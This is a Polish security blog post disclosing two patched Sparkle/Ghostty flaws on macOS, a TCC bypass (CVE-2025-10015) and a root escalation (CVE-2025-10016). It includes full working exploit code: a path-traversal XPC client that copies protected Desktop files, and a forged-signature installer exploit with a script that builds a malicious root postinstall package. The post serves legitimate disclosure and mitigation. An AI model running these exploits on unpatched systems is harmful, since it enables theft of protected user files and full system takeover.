Zagrożenia wynikające z nieuwierzytelnionych klientów XPC na macOS

Artur - AFINE cybersecurity team member profile photo
Karol Mazurek
February 12, 2026
15
min read

Ten wpis przypomina o dobrze znanej, lecz wciąż spotykanej podatności – braku prawidłowej weryfikacji klientów XPC. Problem ten nadal występuje w niektórych aplikacjach, nawet popularnych, takich jak framework Sparkle. Na przykładzie dwóch podatności, CVE-2025-10016 i CVE-2025-10015, pokażę dwa różne zagrożenia wynikające z tego błędu. Pierwszy z nich – eskalacja uprawnień (LPE) – jest dość intuicyjny i znany z innych platform. Drugi – obejście TCC (Transparency, Consent, and Control) – bywa mniej oczywisty dla osób spoza ekosystemu macOS. Dlatego warto zapoznać się z artykułem Zagrożenie związane z obchodzeniem TCC w systemie macOS.

Miłej lektury!

Przegląd podatności

W macOS usługi XPC są często wykorzystywane do oddelegowywania zadań wymagających wyższych uprawnień lub działania w odizolowanym środowisku pomiędzy różnymi komponentami aplikacji. Problem pojawia się, gdy taka usługa nie weryfikuje tożsamości klienta, z którym się komunikuje. Wówczas powstaje fałszywa granica zaufania, którą złośliwe oprogramowanie może wykorzystać do wykonania operacji z wyższymi uprawnieniami. Tak właśnie było w przypadku frameworka Sparkle, gdzie brak odpowiednich kontroli pozwalał lokalnym atakującym wykorzystywać istniejące usługi do obchodzenia zabezpieczeń TCC (Transparency, Consent, and Control) lub eskalacji uprawnień do poziomu roota.

Przyczyna była taka sama, choć występowała w dwóch różnych usługach o odmiennych uprawnieniach.
Błąd został po raz pierwszy zidentyfikowany w aplikacji Ghostty.app, lecz każda aplikacja wykorzystująca Sparkle była potencjalnie podatna.

Model zagrożenia i skutki

W omawianym scenariuszu zakłada się, że złośliwa aplikacja ma już ma standardowe, niesandboxowane uprawnienia do wykonania kodu.

  • Nawet jeśli aplikacja nie posiada dostępu do zasobów chronionych przez TCC, złośliwy kod może podszyć się pod podatną aplikację, np. Ghostty – w oknie dialogowym proszącym o zgodę użytkownik zobaczy nazwę tej aplikacji.
  • Nawet proces z uprawnieniami roota nie ma automatycznego dostępu do danych chronionych przez TCC w macOS:

W pierwszym przypadku (obejście TCC) celem atakującego jest uzyskanie dostępu do katalogów objętych ochroną TCC, takich jak Desktop, Documents czy inne, bez wyświetlania użytkownikowi monitu TCC. W drugim przypadku (eskalacja uprawnień – LPE) celem jest podniesienie uprawnień do roota, uzyskując pełną kontrolę nad systemem.

Obejście TCC – CVE-2025-10015

Framework Sparkle dołączony do aplikacji Ghostty zawiera usługę XPC (Downloader.xpc), która jest prywatna dla aplikacji i znajduje się pod ścieżką:

/Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/XPCServices/Downloader.xpc

Jednak atakujący może ręcznie zarejestrować tę samą usługę globalnie jako org.sparkle-project.DownloaderService. Po uruchomieniu taka instancja działa z uprawnieniami TCC przypisanymi do Ghostty:

launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc

Podatność polega na tym, że usługa nie weryfikuje klienta, który się do niej łączy. Dzięki temu atakujący może kazać jej skopiować pliki chronione przez TCC do dowolnego miejsca. Fragment funkcji odpowiedzialnej za akceptowanie połączenia:

bool __cdecl -[ServiceDelegate listener:shouldAcceptNewConnection:](ServiceDelegate *self, SEL a2, id a3, id a4)
{
  id v4; // x19
  NSXPCInterface *v5; // x20
  NSXPCInterface *v6; // x20
  SPUDownloader *v7; // x20
  id v8; // x21
  id *v9; // x20

  v4 = objc_retain(a4);
  v5 = objc_retainAutoreleasedReturnValue(
         +[NSXPCInterface interfaceWithProtocol:](
           &OBJC_CLASS___NSXPCInterface,
           "interfaceWithProtocol:",
           &OBJC_PROTOCOL___SPUDownloaderProtocol));
  objc_msgSend(v4, "setExportedInterface:", v5);
  objc_release(v5);
  v6 = objc_retainAutoreleasedReturnValue(
         +[NSXPCInterface interfaceWithProtocol:](
           &OBJC_CLASS___NSXPCInterface,
           "interfaceWithProtocol:",
           &OBJC_PROTOCOL___SPUDownloaderDelegate));
  objc_msgSend(v4, "setRemoteObjectInterface:", v6);
  objc_release(v6);
  v7 = objc_alloc(&OBJC_CLASS___SPUDownloader);
  v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v4, "remoteObjectProxy"));
  v9 = sub_100003E80((id *)&v7->super.isa, v8);
  objc_release(v8);
  objc_msgSend(v4, "setExportedObject:", v9);
  objc_msgSend(v4, "resume");
  objc_release(v4);
  objc_release(v9);
  return 1;
}

Atakujący ma dostęp do metod z protokołu SPUDownloaderProtocol, m.in.:

-[SPUDownloader startPersistentDownloadWithRequest:bundleIdentifier:desiredFilename:]
-[SPUDownloader removeDownloadDirectoryWithDownloadToken:bundleIdentifier:]
-[SPUDownloader URLSession:downloadTask:didFinishDownloadingToURL:]
-[SPUDownloader URLSession:downloadTask:didWriteData:totalBytesWritten:totalBytesExpectedToWrite:]
-[SPUDownloader URLSession:task:didCompleteWithError:]

W prezentowanym exploicie wykorzystana została metoda startPersistentDownloadWithRequest:.

Proof of Concept

Poniższy PoC pokazuje, jak lokalny atakujący może odczytać ~/Desktop/secret.txt i zapisać jego zawartość w /tmp/poc.

Krok 1: Przygotowanie środowiska

  1. Upewnij się, że Ghostty ma przyznane przez TCC uprawnienia do katalogu Desktop.
  2. Utórz testowy plik w ~/Desktop/secret.txt.
    echo test > ~/Desktop/secret.txt
  3. Ręcznie uruchom usługę w oddzielnym terminalu, żeby obserwować jej działanie:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc

Krok 2: Skompiluj i uruchom klienta exploita

Skompiluj poniższy kod:

// clang -fobjc-arc -framework Foundation xpc_downloader_client.m -o xpc_downloader_client
#import <Foundation/Foundation.h>

// Protocol for the XPC service. This defines the method we are targeting.
@protocol SPUDownloaderProtocol
- (void)startPersistentDownloadWithRequest:(NSURLRequest *)request
                        bundleIdentifier:(NSString *)bundleIdentifier
                         desiredFilename:(NSString *)desiredFilename;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        // --- Setup ---
        // 1. Define the source file the service will "download" (copy).
        //    Create this file on your Desktop before running the PoC to proof TCC bypass
        NSString *sourceFilePath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop/secret.txt"];

        // 2. Craft the malicious 'desiredFilename' using path traversal.
        //    This tricks the service into writing outside its intended cache directory (I think Sparkle should sanitize this).
        NSString *maliciousFilename = @"../../../../../../../../../../tmp/poc";

        // --- Connection ---
        // Connect to the vulnerable XPC service by its Mach service name started it with:
        // launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc
        NSLog(@"[+] Connecting to XPC service 'org.sparkle-project.DownloaderService'...");
        NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"org.sparkle-project.DownloaderService" options:0];
        connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUDownloaderProtocol)];
        [connection resume];

        // Get a proxy object to interact with the service.
        id<SPUDownloaderProtocol> downloaderProxy = [connection remoteObjectProxyWithErrorHandler:^(NSError * _Nonnull error) {
            NSLog(@"[!] XPC connection error: %@", error);
        }];

        if (!downloaderProxy) {
            NSLog(@"[!] Failed to get a proxy to the XPC service. Is it running?");
            return 1;
        }

        // --- Exploitation ---
        // 3. Create a URL request pointing to the LOCAL file.
        //    The service will handle this file:// URL and use it as the source.
        NSURL *fileURL = [NSURL fileURLWithPath:sourceFilePath];
        NSURLRequest *request = [NSURLRequest requestWithURL:fileURL];

        // 4. Call the vulnerable method with the malicious arguments.
        NSLog(@"[+] Calling remote method to copy '%@' to '/tmp/poc'...", sourceFilePath);
        [downloaderProxy startPersistentDownloadWithRequest:request
                                         bundleIdentifier:@"crimson.AFINE.xpc-client"
                                          desiredFilename:maliciousFilename];

        // Give the service a moment to process the request.
        [NSThread sleepForTimeInterval:2.0];

        NSLog(@"[+] Request sent. Cleaning up.");
        [connection invalidate];
        
        // --- Verification ---
        if ([[NSFileManager defaultManager] fileExistsAtPath:@"/tmp/poc"]) {
            NSLog(@"[+] SUCCESS! The file was successfully written to /tmp/poc.");
        } else {
            NSLog(@"[!] FAILED. The file was not found at /tmp/poc.");
        }
    }
    return 0;
}

Po uruchomieniu powinieneś zobaczyć: [+] SUCCESS! The file was successfully written to /tmp/poc. Sprawdź zawartość secret.txt:

cat /tmp/poc/secret.txt
test

Obecność /tmp/poc/secret.txt potwierdza, że zawartość Desktop/secret.txt została wykradziona – udane obejście TCC.

Mitygacja

Pełny changelog znajduje się w wydaniu Sparkle 2.7.3 – Important security fixes for local exploits. Podatność nie dotyczy Sparkle 1 ani wersji < 2.6; dodatkowo, aplikacje, które usunęły serwis downloadera (np. żeby oszczędzić miejsce), są bezpieczne. Wprowadzono dwie kluczowe poprawki:

  • lepsza walidacja URL żądania,
  • wymuszenie kontroli podpisu kodu (code signing requirements).

Drugi podpunkt jest najważniejszy – dodaje weryfiakcję autoryzacji w –[ServiceDelegate listener:shouldAcceptNewConnection:], dzięki czemu do usługi mogą się łączyć tylko uprawnione procesy.

LPE — CVE-2025-10016

To było trochę podchwytliwe, ponieważ podatność ma dwie ścieżki eksploatacji, a sama podatna usługa XPC (Autoupdate) była „ukryta” – nie występowała na dysku jako plik .xpc, więc nie dało się jej po prostu uruchomić i podłączyć do niej tak jak w poprzednim przykładzie. Zamiast tego używamy Installer.xpc:

launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpc

Jednak, podobnie jak wcześniej, przyczyną jest brak uwierzytelniania klienta łączącego się z usługą XPC. Pierwsza ścieżka eksploatacji to łańcuch dwóch problemów:

  • Globalna usługa XPC org.sparkle-project.InstallerLauncher nie weryfikuje przychodzących połączeń, co pozwala dowolnej lokalnej aplikacji połączyć się i uruchomić usługę Autoupdate z uprawnieniami root.
  • Nowo uruchomiony proces Autoupdate również nie sprawdza swoich klientów XPC, więc atakujący może połączyć się z usługą Autoupdate i nakazać jej wykonanie instalacji pakietu (.pkg).

Istnieje też alternatywna ścieżka – atakujący wysyła odpowiednio zsynchronizowaną wiadomość XPC do narzędzia Autoupdate, instalując aktualizację z przygotowanego fałszywego bundle’a, który zawiera dowolny pakiet .pkg.

Tutaj pokażemy mniej ryzykowną, pierwszą ścieżkę eksploatacji, która wymaga podania danych uwierzytelniających przez użytkownika.

Eksploatacja Autoupdate

Niezależnie od wybranej ścieżki, eksploatacja obejmuje wiele kroków w komunikacji klient–serwer. Na szczęście Sparkle jest projektem open-source, więc można wywnioskować cały przepływ komunikacji, czytając kod i debugując go przy pomocy lldb. Wygląda on mniej więcej tak:

  • Usługa próbuje zweryfikować podpis EdDSA pakietu, ale zostaje zmylona i zmuszona do użycia klucza publicznego kontrolowanego przez atakującego.
  • Serwis pobiera klucz publiczny z „host bundle path”, która podana jest we złośliwej wiadomości XPC.
  • Podając ścieżkę do fałszywego bundle’a z własnym kluczem publicznym, atakujący zmusza serwis do uznania podpisu za ważny.
  • Po ominięciu sprawdzenia podpisu usługa Autoupdate uruchamia /usr/sbin/installer jako root na spreparowanym przez atakującego pakiecie.
  • Skrypty postinstall w pakiecie wykonują się z uprawnieniami roota, co daje pełną lokalną eskalację uprawnień.

Cały ten proces zrealizowano w kodzie exploit_pkg.m zamieszczonym poniżej.

Proof of Concept

Atakujący może uruchomić usługę Installer XPC z zainstalowanej aplikacji, wywołując okienko autoryzacji z dowolnym komunikatem, co wprowadza użytkownika w błąd i skłania do zainstalowania „aktualizacji” z fałszywego bundle’a zawierającego złośliwy pakiet. Poniżej pełny kod:

// exploit_pkg.m
// clang -framework Foundation exploit_pkg.m -o exp

#import <Foundation/Foundation.h>
#import <dispatch/dispatch.h>

#pragma mark - Protocols
@protocol SUInstallerLauncherProtocol
- (void)launchInstallerWithHostBundlePath:(NSString *)hostBundlePath
                        updaterIdentifier:(NSString *)updaterIdentifier
                      authorizationPrompt:(NSString *)authorizationPrompt
                         installationType:(NSString *)installationType
                allowingDriverInteraction:(BOOL)allowingDriverInteraction
                               completion:(void (^)(uint64_t, BOOL))completionHandler;
@end

// Autoupdate's protocols
@protocol SUInstallerCommunicationProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerConnectionProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerAgentInitiationProtocol
- (void)connectionDidInitiateWithReply:(void (^)(void))acknowledgement;
- (void)connectionWillInvalidateWithError:(NSError *)error;
@end
@protocol SPUInstallerAgentProtocol
- (void)registerApplicationBundlePath:(NSString *)applicationBundlePath reply:(void (^)(BOOL))reply;
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler;
- (void)registerInstallationInfoData:(NSData *)infoData;
@end

#pragma mark - Exploit-Defined Dummy Classes
@interface ExploitSUSignatures : NSObject <NSSecureCoding> { unsigned char _ed25519_signature[64]; }
@property (nonatomic) uint8_t ed25519SignatureStatus;
- (instancetype)initWithEd:(NSString * _Nullable)edSignature;
- (const unsigned char *)ed25519Signature;
@end
@implementation ExploitSUSignatures
+ (BOOL)supportsSecureCoding { return YES; }
- (instancetype)initWithEd:(NSString * _Nullable)edSignature { self = [super init]; if (self && edSignature) { NSData *d = [[NSData alloc] initWithBase64EncodedString:edSignature options:0]; if (d && d.length==64) { [d getBytes:_ed25519_signature length:64]; _ed25519SignatureStatus=2; } else { _ed25519SignatureStatus=1; } } else { _ed25519SignatureStatus=0; } return self; }
- (const unsigned char *)ed25519Signature { return (_ed25519SignatureStatus == 2) ? _ed25519_signature : NULL; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _ed25519SignatureStatus = (uint8_t)[c decodeIntegerForKey:@"SUEDSignatureStatus"]; NSData *d = [c decodeObjectOfClass:[NSData class] forKey:@"SUEDSignature"]; if (d && d.length==64) {[d getBytes:_ed25519_signature length:64];} } return self; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeInteger:self.ed25519SignatureStatus forKey:@"SUEDSignatureStatus"]; if ([self ed25519Signature]!=NULL) { NSData *d = [NSData dataWithBytes:(const void *)self->_ed25519_signature length:sizeof(self->_ed25519_signature)]; [c encodeObject:d forKey:@"SUEDSignature"]; } }
@end

@interface ExploitSPUInstallationInputData : NSObject <NSSecureCoding>
@property (nonatomic, copy) NSString *relaunchPath, *hostBundlePath, *installationType, *expectedVersion;
@property (nonatomic, copy) NSData *updateURLBookmarkData;
@property (nonatomic, strong) ExploitSUSignatures *signatures;
@property (nonatomic) uint64_t expectedContentLength;
@end
@implementation ExploitSPUInstallationInputData
+ (BOOL)supportsSecureCoding { return YES; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeObject:self.relaunchPath forKey:@"SURelaunchPath"]; [c encodeObject:self.hostBundlePath forKey:@"SUHostBundlePath"]; [c encodeObject:self.updateURLBookmarkData forKey:@"SUUpdateURLBookmarkData"]; [c encodeObject:self.installationType forKey:@"SUInstallationType"]; [c encodeObject:self.signatures forKey:@"SUSignatures"]; [c encodeObject:self.expectedVersion forKey:@"SUExpectedVersion"]; [c encodeInt64:(int64_t)self.expectedContentLength forKey:@"SUExpectedContentLength"]; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _relaunchPath = [c decodeObjectOfClass:[NSString class] forKey:@"SURelaunchPath"]; _hostBundlePath = [c decodeObjectOfClass:[NSString class] forKey:@"SUHostBundlePath"]; _updateURLBookmarkData = [c decodeObjectOfClass:[NSData class] forKey:@"SUUpdateURLBookmarkData"]; _installationType = [c decodeObjectOfClass:[NSString class] forKey:@"SUInstallationType"]; _signatures = [c decodeObjectOfClass:[ExploitSUSignatures class] forKey:@"SUSignatures"]; _expectedVersion = [c decodeObjectOfClass:[NSString class] forKey:@"SUExpectedVersion"]; _expectedContentLength = (uint64_t)[c decodeInt64ForKey:@"SUExpectedContentLength"]; } return self; }
@end

#pragma mark - XPC Stubs
@interface XPCAgent : NSObject <SPUInstallerAgentProtocol>
@end
@implementation XPCAgent
- (void)registerApplicationBundlePath:(NSString *)path reply:(void (^)(BOOL))reply { NSLog(@"[+] Agent: Service called registerApplicationBundlePath. Replying YES."); reply(YES); }
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler {}
- (void)registerInstallationInfoData:(NSData *)infoData {}
@end

@interface XPCClient : NSObject <SUInstallerCommunicationProtocol>
@end
@implementation XPCClient
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data { NSLog(@"[+] Service sent message %d back.", identifier); if (identifier == 10) { NSLog(@"[!] Exploit failed. Installer reported an error."); exit(1); } if (identifier == 8) { NSLog(@"[SUCCESS] Installer finished stage 3. Check for /tmp/root.txt"); exit(0); } }
@end

@interface AgentListenerDelegate : NSObject<NSXPCListenerDelegate>
@end
@implementation AgentListenerDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    NSLog(@"[+] Agent Listener: Accepted connection from Autoupdate service.");
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUInstallerAgentProtocol)];
    newConnection.exportedObject = [[XPCAgent alloc] init];
    newConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerAgentInitiationProtocol)];
    [newConnection resume];
    id<SUInstallerAgentInitiationProtocol> remoteProxy = [newConnection remoteObjectProxy];
    [remoteProxy connectionDidInitiateWithReply:^{ NSLog(@"[+] Agent Listener: Acknowledged initiation to Autoupdate service."); }];
    return YES;
}
@end

#pragma mark - Main Exploit Logic
int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc < 2) { fprintf(stderr, "Usage: %s <target_bundle_id>\n", argv[0]); return 1; }
        
        NSString *userInput = [NSString stringWithUTF8String:argv[1]];
        NSString *targetBundleID = [userInput stringByReplacingOccurrencesOfString:@"-spki" withString:@""];
        
        NSString *pocDir = @"/tmp/sparkle_poc_pkg";
        NSString *fakeBundlePath = [pocDir stringByAppendingPathComponent:@"FakeTargetApp.app"];
        NSString *updatePkgPath = [[[[pocDir stringByAppendingPathComponent:@"org.sparkle-project.Sparkle"] stringByAppendingPathComponent:@"PersistentDownloads"] stringByAppendingPathComponent:@"SomeRandomDir"] stringByAppendingPathComponent:@"MaliciousUpdate.pkg"];
        NSString *sigFilePath = [pocDir stringByAppendingPathComponent:@"signature.txt"];

        NSFileManager *fm = [NSFileManager defaultManager];
        if (![fm fileExistsAtPath:updatePkgPath]) { NSLog(@"[!] ERROR: Malicious package not found at %@", updatePkgPath); return 1; }

        NSLog(@"[+] Crafting malicious payload...");
        NSError *readError = nil;
        NSString *signatureString = [[NSString stringWithContentsOfFile:sigFilePath encoding:NSUTF8StringEncoding error:&readError] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
        if (!signatureString) { NSLog(@"[!] Failed to read signature file: %@", readError); return 1; }

        NSURL *updateURL = [NSURL fileURLWithPath:updatePkgPath];
        NSError *bookmarkError = nil;
        NSData *bookmarkData = [updateURL bookmarkDataWithOptions:0 includingResourceValuesForKeys:nil relativeToURL:nil error:&bookmarkError];
        if (!bookmarkData) { NSLog(@"[!] Failed to create bookmark data: %@", bookmarkError); return 1; }

        ExploitSPUInstallationInputData *installData = [[ExploitSPUInstallationInputData alloc] init];
        installData.relaunchPath = @"/Applications/Ghostty.app";
        installData.hostBundlePath = fakeBundlePath;
        installData.updateURLBookmarkData = bookmarkData;
        installData.installationType = @"package";
        installData.signatures = [[ExploitSUSignatures alloc] initWithEd:signatureString];
        installData.expectedVersion = @"2.0";
        installData.expectedContentLength = [[[fm attributesOfItemAtPath:updatePkgPath error:nil] objectForKey:NSFileSize] unsignedLongLongValue];

        NSKeyedArchiver *archiver = [[NSKeyedArchiver alloc] initRequiringSecureCoding:YES];
        [archiver setClassName:@"SPUInstallationInputData" forClass:[ExploitSPUInstallationInputData class]];
        [archiver setClassName:@"SUSignatures" forClass:[ExploitSUSignatures class]];
        [archiver encodeObject:installData forKey:NSKeyedArchiveRootObjectKey];
        NSData *archivedData = [archiver encodedData];
        [archiver finishEncoding];
        
        NSString *agentServiceName = [targetBundleID stringByAppendingString:@"-spkp"];
        AgentListenerDelegate *agentDelegate = [[AgentListenerDelegate alloc] init];
        NSXPCListener *agentListener = [[NSXPCListener alloc] initWithMachServiceName:agentServiceName];
        agentListener.delegate = agentDelegate;
        [agentListener resume];
        NSLog(@"[+] Started listening for agent connections on '%@'", agentServiceName);

        NSString *launcherServiceName = @"org.sparkle-project.InstallerLauncher";
        NSXPCConnection *launcherConnection = [[NSXPCConnection alloc] initWithMachServiceName:launcherServiceName options:0];
        launcherConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerLauncherProtocol)];
        [launcherConnection resume];
        id<SUInstallerLauncherProtocol> launcherProxy = [launcherConnection remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Launcher XPC error: %@", e); exit(1); }];
        
        dispatch_semaphore_t launcherSemaphore = dispatch_semaphore_create(0);
        
        NSLog(@"[+] Asking InstallerLauncher to start the Autoupdate service for us... Please enter your password if prompted.");
        [launcherProxy launchInstallerWithHostBundlePath:@"/Applications/Ghostty.app"
                                       updaterIdentifier:targetBundleID
                                     authorizationPrompt:@"Sparkle Exploit"
                                        installationType:@"package"
                               allowingDriverInteraction:YES
                                              completion:^(uint64_t result, BOOL ack){
            NSLog(@"[+] InstallerLauncher completion: result %llu, ack %d", result, ack);
            if (result != 0) { NSLog(@"[!] InstallerLauncher reported failure. Exiting."); exit(1); }
            dispatch_semaphore_signal(launcherSemaphore);
        }];

        if (dispatch_semaphore_wait(launcherSemaphore, dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC)) != 0) {
            NSLog(@"[!] Timed out waiting for authorization/launcher. Exiting.");
            exit(1);
        }
        [launcherConnection invalidate];

        NSString *autoupdateServiceName = [targetBundleID stringByAppendingString:@"-spki"];
        NSLog(@"[+] Connecting to our newly launched Autoupdate service '%@'...", autoupdateServiceName);
        NSXPCConnection *auConn = [[NSXPCConnection alloc] initWithMachServiceName:autoupdateServiceName options:0];
        auConn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerConnectionProtocol)];
        XPCClient *client = [[XPCClient alloc] init];
        auConn.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerCommunicationProtocol)];
        auConn.exportedObject = client;
        auConn.invalidationHandler = ^{ NSLog(@"[+] Main XPC Connection invalidated. Exploit likely finished."); exit(0); };
        [auConn resume];
        id<SUInstallerConnectionProtocol> remoteObject = [auConn remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Main XPC error: %@", e); exit(1); }];
        
        NSLog(@"[+] Sending malicious installation data...");
        [remoteObject handleMessageWithIdentifier:0 data:archivedData];

        NSLog(@"[+] Keeping client alive for up to 20 seconds...");
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 20 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
            NSLog(@"[!] Timeout reached. Check /tmp/root.txt to verify success.");
            exit(0);
        });
        
        [[NSRunLoop currentRunLoop] run];
    }
    return 0;
}

Poniżej pokazano skrpyt, który przygotowuje za nas wszystko – generuje klucz prywatny oraz po-instalacyjne komendy, które będziemy wykonywać jako root:

#!/bin/bash
set -e

# --- Configuration ---
POC_DIR="/tmp/sparkle_poc_pkg"
VALIDATED_DOWNLOAD_DIR="$POC_DIR/org.sparkle-project.Sparkle/PersistentDownloads/SomeRandomDir"
MALICIOUS_PKG_PATH="$VALIDATED_DOWNLOAD_DIR/MaliciousUpdate.pkg"
FAKE_BUNDLE_NAME="FakeTargetApp.app"
FAKE_BUNDLE_PATH="$POC_DIR/$FAKE_BUNDLE_NAME"
PKG_ROOT_DIR="$POC_DIR/pkg_root"
PKG_SCRIPTS_DIR="$POC_DIR/pkg_scripts"
EXPLOIT_NAME="sparkle_exploit_pkg"
SIG_FILE="$POC_DIR/signature.txt"
PRIVATE_KEY_PEM="$POC_DIR/private_key.pem"

echo "[+] Setting up PKG exploit environment in $POC_DIR"
rm -rf "$POC_DIR"
mkdir -p "$VALIDATED_DOWNLOAD_DIR" "$PKG_ROOT_DIR" "$PKG_SCRIPTS_DIR"

# 1. Generate an Ed25519 private key using openssl.
echo "[+] Generating Ed25519 private key with openssl..."
openssl genpkey -algorithm Ed25519 -out "$PRIVATE_KEY_PEM" 2>/dev/null

# 2. Extract the raw 32-byte public key and Base64 encode it, as Sparkle expects.
echo "[+] Extracting and formatting public key..."
PUBLIC_KEY=$(openssl pkey -in "$PRIVATE_KEY_PEM" -pubout -outform DER | tail -c 32 | base64)
if [ -z "$PUBLIC_KEY" ]; then
    echo "[!] FAILED to extract public key."
    exit 1
fi
echo "[+] Public key for Info.plist: $PUBLIC_KEY"

# 3. Create a minimal fake "host" bundle containing our public key.
if [ -z "$1" ]; then
    echo "Usage: $0 <target_bundle_id>"
    exit 1
fi
TARGET_BUNDLE_ID=$1
echo "[+] Creating fake host bundle at $FAKE_BUNDLE_PATH with ID $TARGET_BUNDLE_ID"
mkdir -p "$FAKE_BUNDLE_PATH/Contents"
plutil -create xml1 "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleIdentifier -string "$TARGET_BUNDLE_ID" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleVersion -string "1.0" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert SUPublicEDKey -string "$PUBLIC_KEY" "$FAKE_BUNDLE_PATH/Contents/Info.plist"

# 4. Create the malicious postinstall script.
echo "[+] Creating malicious postinstall script..."
POSTINSTALL_PATH="$PKG_SCRIPTS_DIR/postinstall"
cat > "$POSTINSTALL_PATH" << EOF
#!/bin/sh
# This script will be executed as root by the Autoupdate service.
id > /tmp/root.txt
exit 0
EOF
chmod +x "$POSTINSTALL_PATH"

# 5. Create the malicious .pkg file.
echo "[+] Creating malicious package at $MALICIOUS_PKG_PATH"
pkgbuild --root "$PKG_ROOT_DIR" \
         --scripts "$PKG_SCRIPTS_DIR" \
         --identifier "com.pwn.sparkle.pkg" \
         "$MALICIOUS_PKG_PATH"

# 6. Sign the .pkg file using our private key and openssl.
echo "[+] Signing malicious package with openssl..."
openssl pkeyutl -sign -inkey "$PRIVATE_KEY_PEM" -rawin -in "$MALICIOUS_PKG_PATH" | base64 > "$SIG_FILE"
echo "[+] Signature saved to $SIG_FILE"

# 7. Compile the main exploit code.
echo "[+] Compiling exploit_pkg.m into ./$EXPLOIT_NAME"
clang -framework Foundation exploit_pkg.m -o "$EXPLOIT_NAME"

# 8. Bootstrap the Sparkle Installer service.
echo "[+] Bootstrapping Sparkle Installer service..."
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpc


echo
echo "[+] Setup complete. Run the exploit (as a normal user) with:"
echo "    ./$EXPLOIT_NAME <target_bundle_id>"
echo
echo "If successful, /tmp/root.txt will be created and owned by root."

Exploit tworzy plik /tmp/root.txt jako root z outputem komendy „id”. Poniżej krótkie nagranie pokazujące cały proces.

Podsumowując – jest to eskalacja uprawnień do roota poprzez mechanizm aktualizacji Sparkle z dowolnym bundle’em i dowolnym pakietem .pkg – każdy mógł połączyć się z serwisem Autoupdate. Taki wektor pozwala atakującemu zachować pozory legalności, wykorzystując zaufaną aplikację (malware mógłby też wyświetlić własne okno z prośbą o hasło). Druga ścieżka – przez okno wyścigu (race condition) – czyni to jeszcze groźniejszym zagrożeniem.

Mitygacja

Pełny changelog znajdziesz w Sparkle 2.7.3 – Important security fixes for local exploits. Podatność nie dotyczy Sparkle 1 ani aplikacji, które zbudowały własną wersję Sparkle z wyłączonym wsparciem pakietów (SPARKLE_BUILD_PACKAGE_SUPPORT) – co w praktyce zdarza się rzadko. W poprawce wprowadzono m.in.:

  • lepszą weryfikację klienta względem aktualizowanego bundle’a,
  • egzekwowanie wymagań dotyczących podpisu kodu.

Podobnie jak w poprzednim przypadku, kluczową mitigacją jest sprawdzanie podpisu kodu klienta. Dodaje to kontrolę uprawnień w shouldAcceptNewConnection, dzięki czemu z usługą Autoupdate mogą połączyć się tylko autoryzowane procesy.

Na zakończenie

Specjalne podziękowania dla Zorga, który bardzo sprawnie poprowadził całą sprawę. Wielu dostawców mogłoby się uczyć od takich deweloperów. Od pierwszego zgłoszenia, przez poprawkę, po retesty minęły około trzy tygodnie, podczas gdy część naszych raportów u innych producentów czekała na rozwiązanie ponad rok.

Wydanie Sparkle 2.7.3 i nowsze rozwiązuje te problemy przez ostrzejszą walidację i egzekwowanie podpisów kodu, ale ten incydent zwaraca uwagę na to, że każda aplikacja macOS korzystająca z XPC i nieweryfikująca swoich klientów jest zagrożona. Ważna uwaga: wymuszanie podpisu działa dla aplikacji sygnowanych certyfikatami Apple, więc oprogramowanie firm trzecich bez ważnego podpisu nadal pozostaje podatne. To kolejny argument za poprawnym, ważnym podpisywaniem aplikacji – cały ekosystem macOS na tym polega.

Na koniec, w nawiązaniu do naszego wpisu „Przedstawiamy DASVS: Standard Bezpieczeństwa dla Aplikacji Desktopowych”, te dwie podatności można sklasyfikować w ramach standardu jako:

  • V2: Authentication
    • V2.3: Integration with Platform Authentication
      • 2.3.1: zweryfikuj czy aplikacja prawidłowo implementuje przepływ uwierzytelniania i model bezpieczeństwa przy korzystaniu z systemowych mechanizmów uwierzytelniania.

